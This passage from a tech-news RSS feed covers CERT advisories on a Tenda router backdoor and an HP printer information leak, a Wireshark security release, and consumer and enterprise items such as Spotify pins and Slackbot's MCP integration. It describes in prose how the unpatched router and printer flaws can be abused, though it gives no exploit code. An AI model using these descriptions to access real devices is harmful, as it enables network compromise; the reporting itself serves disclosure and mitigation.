<span data-contrast="auto">According to CERT, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28913">vulnerability</a> impacts multiple Tenda routers, switches, and other networking products. <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28915">Security</a> researchers discovered the issue within the login function of the device’s web server binary, where the authentication process contains logic that can be exploited to bypass normal login requirements.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-11405 Backdoor Enables Authentication Bypass</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://kb.cert.org/vuls/id/213560" target="_blank" rel="nofollow noopener">CERT advisory</a> explains that the authentication mechanism behaves unexpectedly after a failed login attempt. Instead of rejecting the request, the firmware retrieves a password stored in the device’s configuration.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">It then compares only the password supplied by the user against the stored plaintext password. If the passwords match, the system grants administrator-level access without verifying the username.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">“The associated username is not validated, so any provided username will succeed when paired with the backdoor password. This backdoor authentication mechanism is not documented or visible through any administrative interface,” CERT/CC explained.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Because of this behavior, CVE-2026-11405 allows attackers to bypass authentication entirely if they know or obtain the configured <a href="https://thecyberexpress.com/how-to-delete-saved-passwords-in-google-chrome/" target="_blank" rel="noopener">password</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">CERT Recommends Mitigations as No Patch Is Available</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Successful exploitation of CVE-2026-11405 could enable attackers to modify device configurations, change network settings, and disable security features. CERT warns that these capabilities could ultimately result in the compromise of a local network.</span>

<span data-contrast="auto">The organization also stated that it was unable to coordinate disclosure of the vulnerability with Tenda, and no security update has been released to address the flaw.</span>

<span data-contrast="auto">Until a patch becomes available, CERT advises users to disable remote web management to block unauthorized external access. It also recommends changing the default LAN <a href="https://thecyberexpress.com/how-to-find-ip-address/" target="_blank" rel="noopener">IP address</a> to reduce the likelihood of devices being identified by automated scanning tools.</span>
<h3 aria-level="2"><b><span data-contrast="none">CERT Also Discloses Unpatched HP Printer Flaw</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">On Tuesday, CERT/CC disclosed another unpatched vulnerability affecting HP DeskJet 2800 series printers running firmware versions up to TBP1CN2612AR. The issue, tracked as CVE-2026-13753, is a missing authorization flaw that exposes sensitive administrative information.</span>

<span data-contrast="auto">According to CERT, attackers can send unauthenticated GET requests to multiple backend <a href="https://thecyberexpress.com/sms-and-otp-bombing-bypass-analysis/" target="_blank" rel="noopener">API endpoints</a>, which return administrator configuration data without validating authentication or session state. The exposed information includes the Wi-Fi Direct SSID, plaintext passphrase, unique printer serial numbers, service IDs, and administrative password state details.</span>

<span data-contrast="auto">CERT/CC summarized the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28914">risk</a>, stating, “This vulnerability allows unauthenticated access to the printer’s webserver API endpoints, exposing Wi-Fi credentials, management configuration details, and sensitive security data normally restricted to administrative users.”</span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wireshark 4.6.7 Fixes 12 Security Issues Across SSH, IEEE 802.11, Catapult DCT2000 and Other Protocols]]></title>
<description><![CDATA[The latest Wireshark 4.6.7 maintenance release addresses twelve security vulnerabilities that could affect users analyzing network traffic. Since packet captures processed in Wireshark pass through numerous protocol dissectors, malformed packets or capture files can trigger unexpected software be...]]></description>
<link>https://tsecurity.de/de/3656119/it-security-nachrichten/wireshark-467-fixes-12-security-issues-across-ssh-ieee-80211-catapult-dct2000-and-other-protocols/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656119/it-security-nachrichten/wireshark-467-fixes-12-security-issues-across-ssh-ieee-80211-catapult-dct2000-and-other-protocols/</guid>
<pubDate>Thu, 09 Jul 2026 08:22:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1105" height="729" src="https://thecyberexpress.com/wp-content/uploads/Wireshark-2.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Wireshark" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Wireshark-2.webp 1105w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-300x198.webp 300w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-1024x676.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-768x507.webp 768w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-600x396.webp 600w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-750x495.webp 750w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2.webp 1105w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-300x198.webp 300w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-1024x676.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-768x507.webp 768w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-600x396.webp 600w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-150x99.webp 150w, https://thecyberexpress.com/wp-content/uploads/Wireshark-2-750x495.webp 750w" sizes="(max-width: 1105px) 100vw, 1105px" title="Wireshark 4.6.7 Fixes 12 Security Issues Across SSH, IEEE 802.11, Catapult DCT2000 and Other Protocols 1"></p><span data-contrast="auto">The latest Wireshark 4.6.7 maintenance release addresses twelve security vulnerabilities that could affect users analyzing network traffic. Since packet captures processed in Wireshark pass through numerous protocol dissectors, malformed packets or capture files can trigger unexpected software behavior. The update strengthens security by fixing issues across several protocol parsers, including Catapult DCT2000, SSH, IEEE 802.11, and other components involved in packet analysis.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Wireshark Security Fixes Cover Multiple Protocol Dissectors</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Most of the twelve <a href="https://www.wireshark.org/download/win64/" target="_blank" rel="nofollow noopener">patched vulnerabilities</a> involve software crashes caused by crafted packets or capture files. These flaws could force protocol dissectors to read beyond allocated memory or access invalid memory locations, causing Wireshark to terminate unexpectedly.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The affected components include dissectors for Catapult DCT2000, SSH, IEEE 802.11, Z39.50, and UMTS FP. Security updates also cover the pcapng capture file reader and the DBS Etherwatch file parser, reducing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="28910">risks</a> when opening specially crafted capture files.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Some <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="28912">vulnerabilities</a> functioned differently from memory-related crashes. The FMP/NOTIFY dissector could enter a lengthy processing loop when handling specific inputs, while another advisory grouped several dissectors capable of becoming stuck in infinite loops. Additionally, the BLF file parser contained an information disclosure issue that could expose <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28911">data</a> beyond the intended memory boundaries in decoded output. Separate crash vulnerabilities were also resolved in the TLS ECH decryption path and the CiscoDump extcap helper.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Additional Bug Fixes Improve Wireshark Stability</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Alongside the <a href="https://thecyberexpress.com/vulnerabilities-in-qnap-nas-cve-2025-59382/" target="_blank" rel="noopener">security updates</a>, Wireshark 4.6.7 resolves sixteen non-security bugs affecting stability and usability.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">One significant fix addresses a use-after-free issue in the Ethernet POWERLINK dissector that occurred during a profile-loading error. Another eliminates a heap-buffer-overflow in the Android Logcat parser.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The release also resolves several user-facing issues. Systems configured for Dutch were incorrectly displaying the Wireshark interface in German. An IPv6 ping generated by Debian and some other operating systems was mistakenly identified as HiPerConTracer traffic.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Developers also corrected a problem in the HEVC video dissector, where certain packets were incorrectly marked as malformed due to an improper bit offset advancement. Another fix prevents heap corruption that could crash the application when loading the most recent saved recent_common file.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Updated extcap Binary Location for Plugin Developers</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The release also documents a packaging change introduced in Wireshark 4.6.0 that was previously left out of the official release notes. On UNIX-like systems, <a href="https://www.helpnetsecurity.com/2026/07/09/wireshark-4-6-7-released/" target="_blank" rel="nofollow noopener">Wireshark now searches</a> for extcap helper binaries in the libexec directory by default, such as /usr/libexec/wireshark/extcap. This location aligns with the standard placement for helper executables that do not require the multiarch handling used for shared libraries.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The bundled extcap utilities already use the updated directory, although third-party extcap packages may require adjustments to remain compatible. Developers can override the default search path by setting the WIRESHARK_EXTCAP_DIR environment variable. The documentation also notes that <a href="https://thecyberexpress.com/dirty-frag-linux-lpe-cve-2026-31431/" target="_blank" rel="noopener">distributions</a> without a libexec directory, including Alpine Linux, will continue using the previous binary location.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Spotify Increases Your Library Pin Limit From 4 to 20]]></title>
<description><![CDATA[Spotify is making Your Library easier to use by increasing the pin limit from four items to 20, giving users more space to keep their favorite playlists, albums, artists, podcasts, and other saved content at the top of the app.



Spotify shared the update on Wednesday, confirming that the expand...]]></description>
<link>https://tsecurity.de/de/3655129/ios-mac-os/spotify-increases-your-library-pin-limit-from-4-to-20/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655129/ios-mac-os/spotify-increases-your-library-pin-limit-from-4-to-20/</guid>
<pubDate>Wed, 08 Jul 2026 20:09:15 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Spotify is making Your Library easier to use by increasing the pin limit from four items to 20, giving users more space to keep their favorite playlists, albums, artists, podcasts, and other saved content at the top of the app.



Spotify shared the update on Wednesday, confirming that the expanded pinning feature is rolling out globally starting today for both Free and Premium users.



The company said users have been asking for a higher pin limit for years, as the older four-item limit felt too small for people who regularly switch between multiple playlists, shows, albums, or artists.



Spotify expands pinning in Your Library



With this update, users can now pin up to 20 items in Your Library, which makes the section more flexible and easier to organize without constantly searching for the same content.



The change also arrives after Spotify recently addressed user feedback around its disco ball icon, showing that the company is making smaller app changes that directly respond to common complaints.



Apple Music added pinned items last summer in iOS 26, but its limit remains fixed at six items, while Spotify now gives users a much larger cap.



How to pin items on Spotify



You can pin an item in Spotify by following these steps:




Open Your Library in the Spotify app.



Press and hold any playlist, album, artist, podcast, or saved item.



Tap Pin from the menu.



The item will stay at the top of Your Library for quick access.





https://twitter.com/Spotify/status/2074839920082919687




Spotify also lets users unpin or rearrange pinned items whenever they want, so the top section can change based on what they listen to most.



The expanded pin limit is a small change, but it solves a real problem for regular Spotify users who want faster access to more of their favorite content.]]></content:encoded>
</item>
<item>
<title><![CDATA[I tried Claude Cowork on my Gmail inbox after Gemini choked - and it saved me hours of work]]></title>
<description><![CDATA[Gmail's AI failed at a nuanced research task, but Claude Cowork found the right pitches, quotes, and permissions, proving connected AI assistants may finally help tackle some aspects of email overload.]]></description>
<link>https://tsecurity.de/de/3654743/it-nachrichten/i-tried-claude-cowork-on-my-gmail-inbox-after-gemini-choked-and-it-saved-me-hours-of-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654743/it-nachrichten/i-tried-claude-cowork-on-my-gmail-inbox-after-gemini-choked-and-it-saved-me-hours-of-work/</guid>
<pubDate>Wed, 08 Jul 2026 17:18:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Gmail's AI failed at a nuanced research task, but Claude Cowork found the right pitches, quotes, and permissions, proving connected AI assistants may finally help tackle some aspects of email overload.]]></content:encoded>
</item>
<item>
<title><![CDATA[Wrexham AFC and Firefox announce a multi-year, front-of-kit partnership]]></title>
<description><![CDATA[We don’t put our name on much. So when we do, it means something. Starting with the 2026/27 season, Firefox is Wrexham AFC’s Official Web Browser Partner and front-of-kit sponsor on the men’s and women’s teams.  More than 160 years old and nearly lost for good, the football club was saved by the ...]]></description>
<link>https://tsecurity.de/de/3654387/tools/wrexham-afc-and-firefox-announce-a-multi-year-front-of-kit-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654387/tools/wrexham-afc-and-firefox-announce-a-multi-year-front-of-kit-partnership/</guid>
<pubDate>Wed, 08 Jul 2026 15:10:29 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We don’t put our name on much. So when we do, it means something. Starting with the 2026/27 season, Firefox is Wrexham AFC’s Official Web Browser Partner and front-of-kit sponsor on the men’s and women’s teams.  More than 160 years old and nearly lost for good, the football club was saved by the community that […]</p>
<p>The post <a href="https://blog.mozilla.org/en/firefox/wrexham-afc-firefox-partnership/">Wrexham AFC and Firefox announce a multi-year, front-of-kit partnership</a> appeared first on <a href="https://blog.mozilla.org/en/">The Mozilla Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Installing the Motherboard & Front I/O 🖥️ Part 4: How To Build A PC For Beginners]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 9x - Views:29 🖥️ It's finally starting to look like a real PC!

In this episode of my PC Build Series, we're installing the motherboard into the case, checking standoffs, preparing for the AIO liquid cooler, connecting the front panel headers, USB, USB-C, HD Aud...]]></description>
<link>https://tsecurity.de/de/3654249/videos/installing-the-motherboard-front-io-part-4-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654249/videos/installing-the-motherboard-front-io-part-4-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Wed, 08 Jul 2026 14:18:27 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 9x - Views:29 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/lQBHW8Hr9EM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>🖥️ It's finally starting to look like a real PC!<br />
<br />
In this episode of my PC Build Series, we're installing the motherboard into the case, checking standoffs, preparing for the AIO liquid cooler, connecting the front panel headers, USB, USB-C, HD Audio, and getting the internal wiring started.<br />
<br />
If you've ever been intimidated by those tiny front panel connectors, don't worry - I'll show you exactly what they do and how to connect them without the frustration.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this guide walks through every step of safely installing your motherboard before we move on to the AIO cooler in the next episode.<br />
<br />
👍 If this video helped you, don't forget to subscribe so you don't miss the rest of the build!<br />
<br />
💜 Support the channel:<br />
Patreon: https://patreon.com/shannonmorse<br />
<br />
#PCBuild #PCBuilding #GamingPC #CustomPC #ASUS #DIYPC #ComputerBuild #Motherboard #Tech #shannonmorse <br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
<br />
 Intro<br />
00:35 What's Been Installed So Far<br />
01:17 Taking a Look at the Case<br />
03:03 Checking the Motherboard Standoffs<br />
04:18 Preparing the AIO Backplate<br />
06:27 Installing the Motherboard<br />
09:12 Patreon & Channel Support<br />
10:03 Front Panel Connectors Explained<br />
13:14 Connecting Front USB & HD Audio<br />
15:20 AIO Cable Preparation<br />
17:00 Progress Check<br />
18:07 Next Episode Preview<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 <br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com<br />
My Media Kit ✈ https://shannonrmorse.com/work-with-me <br />
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Slack’s Slackbot can now pull your CRM data, generate charts, and send DocuSigns — all from a chat message.]]></title>
<description><![CDATA[Five years and $27.7 billion after Salesforce acquired Slack, the two products are finally starting to function as a single system. On Tuesday, Slack launched an integration that connects Slackbot — the personal AI agent built into every workspace — to the entire Salesforce platform, including CR...]]></description>
<link>https://tsecurity.de/de/3654241/it-nachrichten/slacks-slackbot-can-now-pull-your-crm-data-generate-charts-and-send-docusigns-all-from-a-chat-message/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654241/it-nachrichten/slacks-slackbot-can-now-pull-your-crm-data-generate-charts-and-send-docusigns-all-from-a-chat-message/</guid>
<pubDate>Wed, 08 Jul 2026 14:18:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Five years and $27.7 billion after Salesforce acquired Slack, the two products are finally starting to function as a single system. On Tuesday, <a href="https://slack.com/">Slack</a> launched an integration that connects <a href="https://slack.com/features/slackbot">Slackbot</a> — the personal AI agent built into every workspace — to the entire Salesforce platform, including CRM data, Tableau analytics, Data 360 customer profiles, and a growing constellation of third-party applications, all through a single conversational prompt.</p><p>The mechanism behind the expansion is a set of dedicated <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol (MCP)</a> servers from Salesforce that connect Slackbot to the company's <a href="https://venturebeat.com/technology/salesforce-launches-headless-360-to-turn-its-entire-platform-into-infrastructure-for-ai-agents">Headless 360 infrastructure</a>. In practical terms, a salesperson can now ask Slackbot for a customer's deal history, receive a live Tableau visualization of pipeline trends, update a CRM record, and trigger a DocuSign approval — without ever switching tabs or logging into another application. According to Slack, the Salesforce IT team has already used this architecture to save its 1,500-plus engineers "thousands of custom coding hours annually."</p><p>The timing is not accidental. Slack is making this move amid escalating competitive pressure from Microsoft Teams, which claims <a href="https://techcommunity.microsoft.com/discussions/microsoftteams/teams-grows-to-320-million-monthly-active-users/3964746">320 million-plus monthly active users</a> and has Copilot embedded across the Office suite, and from Google, which continues to weave <a href="https://www.computerworld.com/article/4143838/google-embeds-gemini-ai-deeper-into-workspace-apps.html">Gemini deeper into Workspace</a>. And just days ago, The Information reported that some smaller companies are using Anthropic's Claude to r<a href="https://www.theinformation.com/articles/small-firms-use-claude-quit-salesforce">eplace Salesforce CRM entirely</a> — one Atlanta-based property management firm with about 55 employees reportedly saved around $100,000 annually by building a custom replacement using Claude Code and Replit.</p><p>Against that backdrop, Slack CMO Ryan Gavin sat down for an exclusive interview with VentureBeat to frame the announcement and argue that the company's future depends on an idea he calls "multiplayer AI" — and that the 25 years of customer data locked inside Salesforce is an asset no vibe-coded alternative can replicate.</p><h2><b>Why Slack's CMO believes 'multiplayer AI' is the next big enterprise battleground</b></h2><p>Gavin's core argument is that the enterprise AI conversation has been stuck in single-player mode for too long, and that Slack is uniquely positioned to break it open.</p><p>"So much of what we've seen are just these incredible tools that have largely been single-player, incredible tools for individual productivity, helping people complete tasks and write code," Gavin told VentureBeat. "But as we've always known at Slack ever since our inception, work is a team sport. For AI to really take hold in the enterprise, it has to be multiplayer."</p><p>The distinction matters commercially. Most AI assistants today — ChatGPT, Claude, Copilot — default to one-on-one conversations with a single user. A researcher queries a model, gets a response, and acts on it alone. The insight stays in a private chat window, invisible to colleagues. Gavin argues this creates a new version of the tab-switching problem that plagued pre-AI enterprise software, except now employees are also navigating dozens of individual agent interfaces on top of their existing applications.</p><p>"It's going to benefit almost no one if every enterprise application out there spawns hundreds of agent babies, and employees end up in a worse world than they were before," Gavin said.</p><p>Slack's answer is to make <a href="https://slack.com/features/slackbot">Slackbot</a> the orchestration layer. Because everything happens in shared channels, any action an agent takes — pulling a customer profile, flagging a deal risk, updating a Jira ticket — is visible to the entire team. A colleague can redirect, build on, or correct the agent's work in real time.</p><h2><b>How MCP and Salesforce's headless 360 platform power Slackbot's new capabilities</b></h2><p>The technical backbone of the announcement is the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol</a>, an open standard originally developed by Anthropic that defines how AI models discover and invoke external tools. MCP has seen rapid adoption across the AI tooling ecosystem. By early 2026, it had been adopted by <a href="https://claude.com/product/claude-code">Claude Code</a>, <a href="https://cursor.com/">Cursor</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and OpenAI's tooling, with managed hosting available from <a href="https://aws.amazon.com/">AWS</a>, <a href="https://www.cloudflare.com/">Cloudflare</a>, and <a href="https://vercel.com/">Vercel</a>. As a <a href="https://dev.to/swrly/model-context-protocol-mcp-explained-why-it-matters-in-2026-1c7i">DEV Community explainer</a> puts it, MCP "is the closest thing the AI tooling ecosystem has to a standard."</p><p>In this implementation, Salesforce exposes its platform capabilities — CRM records, Tableau visualizations, Data 360 customer profiles, Agentforce agents — as MCP servers. Slackbot operates as an MCP client, connecting to those servers and routing user queries to the appropriate back-end system. When a user asks Slackbot about a customer, the bot discovers which MCP tools are relevant, calls them, and synthesizes the results into a single response — all within the Slack conversation.</p><p>Gavin explained the architecture in simple terms: "Salesforce is extending what has always been our open platform through our Headless 360 strategy — making all of these MCP endpoints available. And then Slackbot acts as an MCP client, connecting to those MCP servers and bringing all that data in within the confines of a trusted permission platform."</p><p>That permission layer is critical. Slackbot respects each user's Salesforce permissions, meaning a marketing coordinator cannot accidentally access sales pipeline data they are not authorized to see. Validation rules, field-level security, and org-wide data boundary configurations carry over automatically. For admins, setup requires no custom integration code — Salesforce MCP servers can be discovered, installed, and governed from a single UI using the existing Slack-Salesforce connection.</p><p>Salesforce first introduced the <a href="https://venturebeat.com/technology/salesforce-launches-headless-360-to-turn-its-entire-platform-into-infrastructure-for-ai-agents">Headless 360</a> concept at its <a href="https://www.salesforce.com/tdx/">TDX developer conference</a> in April, positioning it as an API-driven layer that exposes the platform's data, workflows, and governance controls so that software agents, rather than human users, can execute business processes directly. As <a href="http://cio.com/">CIO.com reported</a> at the time, analysts viewed the move as an effort by Salesforce "to position itself as a central layer for managing agent-driven operations across different business functions."</p><h2><b>Slack says it's betting on openness, not on any single AI protocol</b></h2><p>When asked whether Slack is making a risky bet on MCP as a protocol — given that standards in AI tooling can shift rapidly — Gavin reframed the question entirely.</p><p>"We're not betting on MCP, per se. We're betting on what we've always bet on, which is that Slack is an open platform," Gavin told VentureBeat. "MCP happens to be the best agent-to-agent protocol that the industry is rallying around right now, but if something better came out tomorrow, you'd see the same pattern from Slack — we're going to stay open. MCP and APIs are simply tools that facilitate that."</p><p>That open-platform philosophy is central to Slack's identity and, Gavin argues, its competitive differentiation. Slack already hosts <a href="https://slack.com/resources/why-use-slack/what-is-slack-and-how-does-it-work">more than 2,600 app integrations</a>. The new MCP-native partner ecosystem includes <a href="https://www.atlassian.com/">Atlassian</a>, <a href="https://www.box.com/home">Box</a>, <a href="https://www.docusign.com/">DocuSign</a>, <a href="https://www.canva.com/">Canva</a>, <a href="https://lucid.co/">Lucid</a>, <a href="https://www.zoom.com/">Zoom</a>, and more than 25 additional companies, each of whose agents can be added directly to shared Slack channels. <a href="https://www.mulesoft.com/">MuleSoft Agent</a>, now connected to Slackbot, helps manage integrations for the team — checking system health or surfacing critical error alerts in the same workspace where the team is already collaborating.</p><p>But MCP is not without trade-offs. The protocol requires tool discovery on every connection, and large tool libraries can consume significant context tokens. One technical analysis noted that a server exposing 300 tools could cost 5,000 to 10,000 tokens per session before the model does any useful work. For an enterprise like Salesforce with hundreds of potential tools across CRM, analytics, and service platforms, careful filtering and segmentation of MCP servers become essential design decisions — a challenge the company will need to navigate as the ecosystem scales.</p><h2><b>Inside Slack's complicated relationship with Anthropic and the Claude question</b></h2><p>Perhaps the most delicate topic in the interview concerned Slack's relationship with Anthropic, the AI lab behind 